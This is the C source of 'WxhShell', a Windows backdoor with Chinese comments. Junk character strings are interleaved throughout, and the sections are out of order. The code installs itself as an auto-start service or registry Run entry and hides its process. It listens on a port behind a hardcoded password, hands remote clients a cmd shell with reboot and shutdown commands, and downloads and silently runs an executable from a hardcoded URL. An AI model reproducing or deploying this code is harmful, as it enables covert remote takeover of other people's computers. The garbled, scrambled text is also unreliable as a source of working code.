0 }UPC~kC+Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t^01@ejM+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q T6y& "OLg2O^ HANDLE hProcess; ?+zFa2J PROCESS_BASIC_INFORMATION pbi; &5W;E+Pub {4g'; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3x~7N if(NULL == hInst ) return 0; P~a@{n*8 Q(& @ra!{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ark]>4x> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T5:Q_o] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lHM+<Z p/Pus;*s if (!NtQueryInformationProcess) return 0; aC1z.?!U (L(7)WbH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OxHcoNrz if(!hProcess) return 0; JSL&`
` }#ink4dK: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t3)6R(JC lOm01&^"E CloseHandle(hProcess); H_&to3b( MG?,,8s O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m)A:w.o if(hProcess==NULL) return 0; ;@Zuet <$s6?6P HMODULE hMod; \Oq2{Sx\ char procName[255]; "rBB&l unsigned long cbNeeded; /43l}6I e]~p: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }m+Q(2 #D9.A7fCc5 CloseHandle(hProcess); O#D{:H_dD> aM~IRLmK if(strstr(procName,"services")) return 1; // 以服务启动 cKTjQJ# Ta\F~$M return 0; // 注册表启动 [/a
AH<9b } TtkHMPlm_ kL DpZ{ // 主模块 d88A.Z3w int StartWxhshell(LPSTR lpCmdLine) 9~hW8{# { p{,#H/+J SOCKET wsl; ny
KfM5s_ BOOL val=TRUE; k]p|kutQCy int port=0; jSjC43lh struct sockaddr_in door; 0/v]YK. Z5t^D| if(wscfg.ws_autoins) Install(); _y4O2n[e F0!Z1S0g port=atoi(lpCmdLine); 9"#C%~=+ v~ >Bbe if(port<=0) port=wscfg.ws_port; k2
Ju*W& UF-&L:s[ WSADATA data; v~SM"ky# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s4fO4.bn m RJD{l+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nP%U<$,+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r;{$x door.sin_family = AF_INET; T\9[PX< door.sin_addr.s_addr = inet_addr("127.0.0.1"); tK;xW door.sin_port = htons(port); SZH`-xb!+5 /B t!xSI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 26p[x'W closesocket(wsl); !7DDPJ~ return 1; 7"!`<5o^ } 7<su8*? #G#gc`S-, if(listen(wsl,2) == INVALID_SOCKET) { =\lw.59 closesocket(wsl); # Wi?I=, return 1; ~61b^L}$ } d.?}>jl Wxhshell(wsl); #@oB2%&X? WSACleanup(); VpJKH\)Rt( b? o return 0; lk>\6o: ]EKg)E } [gT}<W JU17]gQ // 以NT服务方式启动 W yM1s+@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) - VJx)g { loIb}8 DWORD status = 0; UN'n~d@~ DWORD specificError = 0xfffffff; eA7
Iv{M @eJ8wf] serviceStatus.dwServiceType = SERVICE_WIN32; a,Pw2Gcid serviceStatus.dwCurrentState = SERVICE_START_PENDING; H$Kc~#= serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oMN<jAU. serviceStatus.dwWin32ExitCode = 0; @<P2di serviceStatus.dwServiceSpecificExitCode = 0; n~UI47 serviceStatus.dwCheckPoint = 0; wH?)ZL serviceStatus.dwWaitHint = 0; + ,Krq 3P l/={aF7+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D^4nT,&8 if (hServiceStatusHandle==0) return; WO.u{vW]' VgVDTWs7 status = GetLastError(); Qa,= if (status!=NO_ERROR) G%sq;XT61 { :^ywc O serviceStatus.dwCurrentState = SERVICE_STOPPED; o MJ`_ serviceStatus.dwCheckPoint = 0; eyKxnBz serviceStatus.dwWaitHint = 0; Go{,<
gm serviceStatus.dwWin32ExitCode = status; fJlNxdVr serviceStatus.dwServiceSpecificExitCode = specificError; n5=U.r SetServiceStatus(hServiceStatusHandle, &serviceStatus); p{5m5x return; t8-P'3,Q$ } xnMcxys~ !64Tx serviceStatus.dwCurrentState = SERVICE_RUNNING; 0Agse) serviceStatus.dwCheckPoint = 0; <yipy[D serviceStatus.dwWaitHint = 0; F
,472H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k\[(;9sf. } !p+54w\ 2 4-.W~C'Q // 处理NT服务事件,比如:启动、停止 WGz)-IB!PE VOID WINAPI NTServiceHandler(DWORD fdwControl) by<@\n2B:U { rnZ$Qk-H switch(fdwControl) "`ftcJUd { lQ?jdi case SERVICE_CONTROL_STOP: Wu
0:X*>}p serviceStatus.dwWin32ExitCode = 0; _Gq6xv\b1 serviceStatus.dwCurrentState = SERVICE_STOPPED; &B&8$X serviceStatus.dwCheckPoint = 0; b7>'ARdbzX serviceStatus.dwWaitHint = 0; r>(,)rs(l { -Fd&rq:GB( SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0{b} 1D } T[$-])iK return; $6Q^ur: case SERVICE_CONTROL_PAUSE: mcQL>7ts serviceStatus.dwCurrentState = SERVICE_PAUSED; SO6)FiPy!n break; ASHU0v case SERVICE_CONTROL_CONTINUE: '?Dxe
B serviceStatus.dwCurrentState = SERVICE_RUNNING; 3tZIL break; CFh9@Nx case SERVICE_CONTROL_INTERROGATE: jh oA6I break; #VrIU8Q7' };
I6
?(@, SetServiceStatus(hServiceStatusHandle, &serviceStatus); _f0AV;S:vd } t}eyfflZ %]Z4b;W[Y // 标准应用程序主函数 '{AB{)1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~uc7R/3ss { pA*C|g
w*6b%h%ww // 获取操作系统版本 74M 9z OsIsNt=GetOsVer(); .f_
A% GetModuleFileName(NULL,ExeFile,MAX_PATH); \<pr28
y;ElSt;S // 从命令行安装 :C>7HEh-2_ if(strpbrk(lpCmdLine,"iI")) Install(); 'O(=Pz Gt.'_hf Js // 下载执行文件 wNHn. if(wscfg.ws_downexe) { Fs~(>w@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?:wb#k)Z/ WinExec(wscfg.ws_filenam,SW_HIDE); o=YOn&@% } -~{Z*1`, O#U maNj/ if(!OsIsNt) { ."+lij=56 // 如果时win9x,隐藏进程并且设置为注册表启动 8)0]cX HideProc(); 0:v!' StartWxhshell(lpCmdLine);
-qj[ck(y } rk8pL[| else N;
}$!sNIm if(StartFromService()) ZwDL // 以服务方式启动 lfj5?y StartServiceCtrlDispatcher(DispatchTable); OL
0YjU@ else fF)Q;~_VA // 普通方式启动 bKpy?5&> StartWxhshell(lpCmdLine); +b-ON@9]J` cp@Fj" return 0; #r9+thyC } <(KCiM=E$ -iiX!@ kumV|$Y?kA FY'0?CT$ =========================================== ARu_S
B zhw*Bed< B!/kC)bF: =R=V _BP%@o
^f,4=- " !Axe}RD' 8QTry% #include <stdio.h> ~3 :VM_ #include <string.h> D
5r H6*J #include <windows.h> i%9vZ #include <winsock2.h> m ~&
#include <winsvc.h> \( s `=(t #include <urlmon.h> FFqK tj's kD#n/RBgf #pragma comment (lib, "Ws2_32.lib") W+i^tmj #pragma comment (lib, "urlmon.lib") y[XD=j st)is4 #define MAX_USER 100 // 最大客户端连接数 0ZjT.Ep #define BUF_SOCK 200 // sock buffer P7-k!p" #define KEY_BUFF 255 // 输入 buffer H=BI%Z s^zlBvr|. #define REBOOT 0 // 重启 IMWt!#vuY #define SHUTDOWN 1 // 关机 \>5sW8P]H` ;$iT]S #define DEF_PORT 5000 // 监听端口 :i!fPN n 'mZv5? #define REG_LEN 16 // 注册表键长度 5}G_2<G #define SVC_LEN 80 // NT服务名长度 STnM Bz7 aE'nW_f // 从dll定义API \s#~ %l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +DRt2a# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3?B1oIHQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vNw(hT5750 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7"Xy8]i{z zn>lF // wxhshell配置信息 edMCj struct WSCFG { GUu8 N int ws_port; // 监听端口 R%3yxnM* char ws_passstr[REG_LEN]; // 口令 Z@euO~e~ int ws_autoins; // 安装标记, 1=yes 0=no fZ-"._9UyH char ws_regname[REG_LEN]; // 注册表键名 %$ya>0?mq char ws_svcname[REG_LEN]; // 服务名 N 8[rWJ# char ws_svcdisp[SVC_LEN]; // 服务显示名 X}Q4;='C- char ws_svcdesc[SVC_LEN]; // 服务描述信息 W_wC"?A% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \NNA" int ws_downexe; // 下载执行标记, 1=yes 0=no eA1g}ipm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~+' f[!^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sR/Yv ""7H;I& }; e&x)g;bn ug]2wftlQ // default Wxhshell configuration fR[8O\U~ struct WSCFG wscfg={DEF_PORT, J~KO#` "xuhuanlingzhe", c$1u 1, JAHg_! "Wxhshell", 2e\"?y OD "Wxhshell", Yuv=<V "WxhShell Service", _zDS-e@ "Wrsky Windows CmdShell Service", Tp-W/YC "Please Input Your Password: ", ,C6( 1, N[Xm5J "http://www.wrsky.com/wxhshell.exe", r#WqXh_uk "Wxhshell.exe" l0G{{R0Y }; qK$O /g, P.>fkO1\ // 消息定义模块 e r_6PV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oL~1M=r char *msg_ws_prompt="\n\r? for help\n\r#>"; }m<+tn3m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sFZdj0tQ4 char *msg_ws_ext="\n\rExit."; $@6q5Iz!& char *msg_ws_end="\n\rQuit."; ( 72%au char *msg_ws_boot="\n\rReboot..."; U)'YR$2< char *msg_ws_poff="\n\rShutdown..."; Vb?wwx7= char *msg_ws_down="\n\rSave to "; /HUT6B 2(!W
9#] char *msg_ws_err="\n\rErr!"; iY`[dsT char *msg_ws_ok="\n\rOK!"; #q:j~4)h eY`z\I char ExeFile[MAX_PATH]; EJ
{vJZO int nUser = 0; 1CJ1-]S(3 HANDLE handles[MAX_USER]; ]A[}:E 5} int OsIsNt; M+")*Opq iJh{,0))g SERVICE_STATUS serviceStatus; cl`kd)"v SERVICE_STATUS_HANDLE hServiceStatusHandle; /mJb$5=1 \
3E%6L // 函数声明 \#biwX int Install(void); 8cfsl lI int Uninstall(void); ,sj(g/hg int DownloadFile(char *sURL, SOCKET wsh); V #vkj int Boot(int flag); /QS Nv void HideProc(void); %ly&~&0 int GetOsVer(void);
bo/U5p int Wxhshell(SOCKET wsl); R}(Rv3>Xx void TalkWithClient(void *cs); uLv int CmdShell(SOCKET sock); .&5 3sJ0{ int StartFromService(void); R1hmJ int StartWxhshell(LPSTR lpCmdLine); A]iT
uu5 p DBy%"/c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,MHK|8! VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1WaQWZ:= dgQ<>+9]6 // 数据结构和表定义 @RB^m(> 5 SERVICE_TABLE_ENTRY DispatchTable[] = iaMl>ua { t(UBs-t {wscfg.ws_svcname, NTServiceMain}, z*VK{O)o {NULL, NULL} 6GAEQ] }; @ebY_* N\s-{7K // 自我安装 k3LHLJZ# int Install(void) BV<_1WT} { Foj|1zJS_ char svExeFile[MAX_PATH]; maSVq G HKEY key; UH&1QV strcpy(svExeFile,ExeFile); kb$Yc)+R4 xGOmvn^lQ // 如果是win9x系统,修改注册表设为自启动 v#9i| if(!OsIsNt) { A~{vja0? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vx$DKQK@l\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yEB#*}K? RegCloseKey(key); E}zGY2Xx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I7h v'3u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pQZ`dS\ RegCloseKey(key); !`H!!Kg0L return 0; c;KMox/ } p1GP@m,^n0 } 2I suBX\[ } ?1|\(W# else { g9Dynm5 >BJBM | // 如果是NT以上系统,安装为系统服务 wg
k[_i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3 q8S if (schSCManager!=0) ^Et^,I:` { L09r|g4Z SC_HANDLE schService = CreateService z2R?GQ5 A ( +i /4G.=* schSCManager, Bvj wscfg.ws_svcname, U$@}!X wscfg.ws_svcdisp, c=-qbG0` SERVICE_ALL_ACCESS, 1"t9x. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8YPX8d8u SERVICE_AUTO_START, mxH63$R SERVICE_ERROR_NORMAL,
jU 3ceXV svExeFile, ijcF[bmE NULL, K{Nj-Rqd NULL, @G>eCj NULL, ]#S<]v A NULL, 18j>x3tn NULL Jzp|#*~$E ); Z6So5r%wZ if (schService!=0) E>|fbaN-% { giIPK& CloseServiceHandle(schService); L;Yn q<x CloseServiceHandle(schSCManager); @}r
s6 G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nw,|4S strcat(svExeFile,wscfg.ws_svcname); <}xgp[O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KAVkYL0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~4#D
G^5 RegCloseKey(key); M`iE'x return 0; [\ 0>@j}Z } -:!Wds } r|z B?9Q CloseServiceHandle(schSCManager); ',D%,N}J } h*hkl# } h`v T[u~l (bpxj3@R return 1; 19[.&-u" } JS?%zj&@ ([SJ6ff]& // 自我卸载 vwAhNw2- int Uninstall(void) s[7/w[& { (B*,|D[J@i HKEY key; 44k8IYC*o D2Q0p(#% if(!OsIsNt) { 7uu\R=$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2h@&yW2j RegDeleteValue(key,wscfg.ws_regname); ww+,GnV RegCloseKey(key); A&ceuu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rb^G~82d? RegDeleteValue(key,wscfg.ws_regname); NTGWI$ RegCloseKey(key); wSZMHIW return 0; 4UPxV"H } RA){\~@wC } 6#:V3 ; } <jaQ0S{| else { T`u
,!S 6Xn9$C) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k5}Qx'/l if (schSCManager!=0) pFBK'NE { UsCaO<A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 150x$~{/ if (schService!=0) 8wkt9: { yr.sfPnJK if(DeleteService(schService)!=0) { y34 <B)Wy CloseServiceHandle(schService); 5]kv1nQ CloseServiceHandle(schSCManager); XQOM6$~, return 0; }:s.m8LC5n } Xe\v6gbD CloseServiceHandle(schService); #Hl?R5 } L|'B* CloseServiceHandle(schSCManager); 05jjLM'e } zG%'Cw)8 } bx-:aC)]2 O sy_C<O return 1; JPZH%#E( }
# xX @'Pay)P // 从指定url下载文件 `0+-:sXZ6 int DownloadFile(char *sURL, SOCKET wsh) )g^O'e=m { pUu<0a^ HRESULT hr; jnM}N:v char seps[]= "/"; LXth-j=] char *token; Zx: h)I char *file; j(>xP*il char myURL[MAX_PATH]; ZP0D)@8 char myFILE[MAX_PATH]; +KTHZpp!c2 .jbxA2 strcpy(myURL,sURL); CFoR!r:X token=strtok(myURL,seps); r&F
6ZCw while(token!=NULL) 4`o<e)c3 { \0e`sOS`L file=token; {=U*!`D token=strtok(NULL,seps); S
C}@eA' } D'% O<.m R$QhuxT| GetCurrentDirectory(MAX_PATH,myFILE); g`2Oh5dA strcat(myFILE, "\\"); NE Zu?g strcat(myFILE, file); |v1*
[( send(wsh,myFILE,strlen(myFILE),0); 4#t-?5" send(wsh,"...",3,0); ttBqp|.?S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {#pwr WG if(hr==S_OK) 2^r J|Ni return 0; m|OB_[9 else lO 0} return 1; Jy('tfAHp e:rbyzf# } ]8'PLsS9<w t4hc X[ // 系统电源模块
&Du S* int Boot(int flag) T_9o0Q k { mGJRCK_ HANDLE hToken; "];@N!dA TOKEN_PRIVILEGES tkp; z'"Y+EWN [1z.JfC :S if(OsIsNt) { :"@-Bcln OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8L6b:$Y3@C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kN#3HI]8 tkp.PrivilegeCount = 1; #]gmM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AYp~;@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q_9 tbZ; if(flag==REBOOT) { W u$yB! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V"} Jsr return 0; BP\6N%HC%& } _w'_l>I else { !*?9n^PaF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @tJic|)x return 0; O,NVhU7, } >Ml5QO$*.q } d..JW{ else { _qo\E=E if(flag==REBOOT) { i1bmUKZ8'L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #ZP;] W return 0; |WOc0M[U } !E)|[:$XT else { f=S2O_Ee if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Imq-5To# return 0; T{yJL< } VC%.u.< F } $3%+N|L hMV>5Y[s return 1; OkCAvRg } | :id/ )%lPKp4] // win9x进程隐藏模块 {2i8]Sp1d/ void HideProc(void) 33&\E- Q> { _c5*9')-) d9%P[(yM^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j9vK~_?; if ( hKernel != NULL ) [8 H:5Ho { ZNL+w4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g=,}j]tl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qOnGP{ FreeLibrary(hKernel); l(@c } :-$8u;!M |>.</68Z return; o/n4M]G } @g]EY&Uzl @YG-LEh // 获取操作系统版本 h ^s8LE3 int GetOsVer(void) JO90TP
$ { I`i"*z OSVERSIONINFO winfo; t*u#4I1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }Gy M<!: GetVersionEx(&winfo); aUA)p}/: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tCar:p4$ return 1; #3'M>SaoH else kQQDaZ8 return 0; *v?kp>O } 0'YJczDq:7 mm.%Dcn // 客户端句柄模块 7?y7fwER int Wxhshell(SOCKET wsl) HPJHA , { LIQ].VxIs SOCKET wsh; s{j A!T} struct sockaddr_in client; ;-;lM6zP DWORD myID; gU NWM^n P|]r*1^5 while(nUser<MAX_USER) U4yl{? { pVrY';[,| int nSize=sizeof(client); Uqy/~n-v< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e0otr_)3F if(wsh==INVALID_SOCKET) return 1; %~PT7"4 %H,s~IU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D{[{ &1\)r if(handles[nUser]==0) l=((>^i closesocket(wsh); ek0!~v<I else X8N9*vy nUser++; 3wcFR0f } xgpf2y!{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,VSO;:Z c"pOi& return 0; Mw)6,O` } cUdS{K&K J_m@YkK // 关闭 socket $ ]#WC\Hv void CloseIt(SOCKET wsh) As`=K$^Il. { CH;U_b closesocket(wsh); ^w2 HF nUser--; n;Q8Gg2U ExitThread(0); cC NRv$IO\ } ;gD\JA SW'eTG // 客户端请求句柄 Au}l^&,zN void TalkWithClient(void *cs) +oq<}CNr{ { x;\/Xj; F"O\uo:3 SOCKET wsh=(SOCKET)cs; eF9GhwE= char pwd[SVC_LEN]; VuH -> char cmd[KEY_BUFF]; <JU3sXl char chr[1]; "k{so',7z int i,j; 5gqs"trF gZ7R^]
k while (nUser < MAX_USER) { UxzF5V5 W I MBwmg if(wscfg.ws_passstr) { bv b\G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z ynu0X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AX<f$%iqD //ZeroMemory(pwd,KEY_BUFF); Y0A(-" i=0; L/`1K_\l while(i<SVC_LEN) { ahy6a,)K~ 8T6NG!/ // 设置超时 hh&$xlO)(v fd_set FdRead; ^\?Rh(pu struct timeval TimeOut; s&-MJ05y FD_ZERO(&FdRead); aekke//y FD_SET(wsh,&FdRead); *kg->J TimeOut.tv_sec=8; |iUC\F=- TimeOut.tv_usec=0; g$?^bu dxv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {\P%J:s#9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r~ 2*'zB x3+{Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EG\;l9T pwd=chr[0]; 6w,"i#E! if(chr[0]==0xd || chr[0]==0xa) { WKlyOK=} pwd=0; kP ,8[r break; jy?*` q1] } 'wG1un;t i++; wlaPE8Gc } 31a lQ\TH {7z]+ h // 如果是非法用户,关闭 socket Rqp#-04*W if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >RAg63!` } 4n7Kz_!SVf ._^ne=Lx send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L-C^7[48= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Ffam# zIjfxK while(1) { tm^joK[{|J ZL\^J8PRK ZeroMemory(cmd,KEY_BUFF); , 6X;YY
h-?yed*? // 自动支持客户端 telnet标准 jqc}mI\# j=0; _lwKa,} while(j<KEY_BUFF) { \&;y:4&l8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xd^Pkf cmd[j]=chr[0]; W/>a 1 if(chr[0]==0xa || chr[0]==0xd) { K4<"XF1A: cmd[j]=0; $DIy?kZ break; aSX4~UYB= } _#:7S
sJ j++; OB$Jv<C@ } pTwzVz~ Pd"c*n&9 // 下载文件 wGKxT
ap if(strstr(cmd,"http://")) { "T5oUy&i send(wsh,msg_ws_down,strlen(msg_ws_down),0); k1f<(@*` if(DownloadFile(cmd,wsh)) cr{yy :D send(wsh,msg_ws_err,strlen(msg_ws_err),0); vf{$2rC else {L%J DJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o&Xp%}TI } ,#3Aaw else { RBn/7
h]ae^M switch(cmd[0]) { L,y
q=%h| 8xgBNQdPT // 帮助 jc
Mn case '?': { }%/mPbd# send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XNJZ~Mowb break; #xGP|:m } j;]I
-M[ // 安装 !~~KM?g case 'i': { 6dr'nP if(Install()) \EVT*v=}/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); x,25ROaHY else y
2>
93m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -6kX?sNl)X break; SefhOh^,V } Kgr<OL}V J // 卸载 *pa hZiO case 'r': { :p/=KI_ if(Uninstall()) )LFbz#;Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); oOpEpQ}}q else lt6wmCe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "gM!/<~ break; Za|iU`e\ } C78g|n{ // 显示 wxhshell 所在路径 |nx3x case 'p': { xz!0BG char svExeFile[MAX_PATH]; w)+1^eW strcpy(svExeFile,"\n\r"); xB Wl|j strcat(svExeFile,ExeFile); e72Fz#<q send(wsh,svExeFile,strlen(svExeFile),0); 63=&??4 break; p;}`PW } 8fP2qj0 // 重启 @u9L+*F
case 'b': { t;w<n" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <PDCM8 if(Boot(REBOOT)) L?N&kzA send(wsh,msg_ws_err,strlen(msg_ws_err),0); aj;x:UqpJ else { oLKliA=q closesocket(wsh); M^:JhX{ ExitThread(0); !\R5/-_UU } F,~BhKkbV break;
JHa1lj }
%lnkD5 // 关机 yM@sGz6c! case 'd': { { im?tZ, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V_J0I*Qa4 if(Boot(SHUTDOWN)) J\*uW|=F send(wsh,msg_ws_err,strlen(msg_ws_err),0); _F6<ba}o3 else { 1!MJ+?Jl closesocket(wsh); f)T\ ExitThread(0); >o1dc* } #17 &rizl break; :VlA2Ih&q } q"2APvsvp // 获取shell 1cOR?=G~ case 's': { jSE)&K4nI CmdShell(wsh); $lT8M-yK\ closesocket(wsh); 2.%)OC!q&5 ExitThread(0); tJ;qZyy( break; zni9 } q1:dcxR[ // 退出 K^fs#7 case 'x': { hO8xH +; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1<_][u@ CloseIt(wsh); =fRS UtX break; aJ(/r.1G } Y`j$7!j // 离开 J"AR3b@,$? case 'q': { ~@c<5 -`{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); (7G4 v closesocket(wsh); E42)93~C WSACleanup(); rt*x[5< exit(1); 88_ef7w break; Bu=1-8@=qs } iuY,E } xS1n,gTA } USyc D` )v;O2z // 提示信息 B=d<L^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^>l <)$s } -8qCCV&1i } 1}\p:` 3Sfd|0^ return; k^%=\c } LhLAQ2~ ; H ;h[ // shell模块句柄 /lC# !$9vz int CmdShell(SOCKET sock) +I3Vfv { Q ")Xg: STARTUPINFO si; >IaGa!4 ZeroMemory(&si,sizeof(si)); >ZOlSLu si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5m~9Vl-& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $XQgat@&] PROCESS_INFORMATION ProcessInfo; \09A"fs{ char cmdline[]="cmd"; fVn4=d6X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 06Wqfzceb return 0; $4g{4-) } o^2MfFS ZXb|3|D // 自身启动模式 F&wAre< int StartFromService(void) mh}D[K=~% { LH4#p%Pb% typedef struct nu\AEFT { gJ|#xZ DWORD ExitStatus; %.=}v7&<z DWORD PebBaseAddress; !lfE7|\p DWORD AffinityMask; Vpg>K #w DWORD BasePriority; t~ {O)tt ULONG UniqueProcessId; ( 5!'42 ULONG InheritedFromUniqueProcessId; DehjV6t } PROCESS_BASIC_INFORMATION; ^~V2xCu! Ds(Z. PROCNTQSIP NtQueryInformationProcess; /.e7#-+? [+D]!& |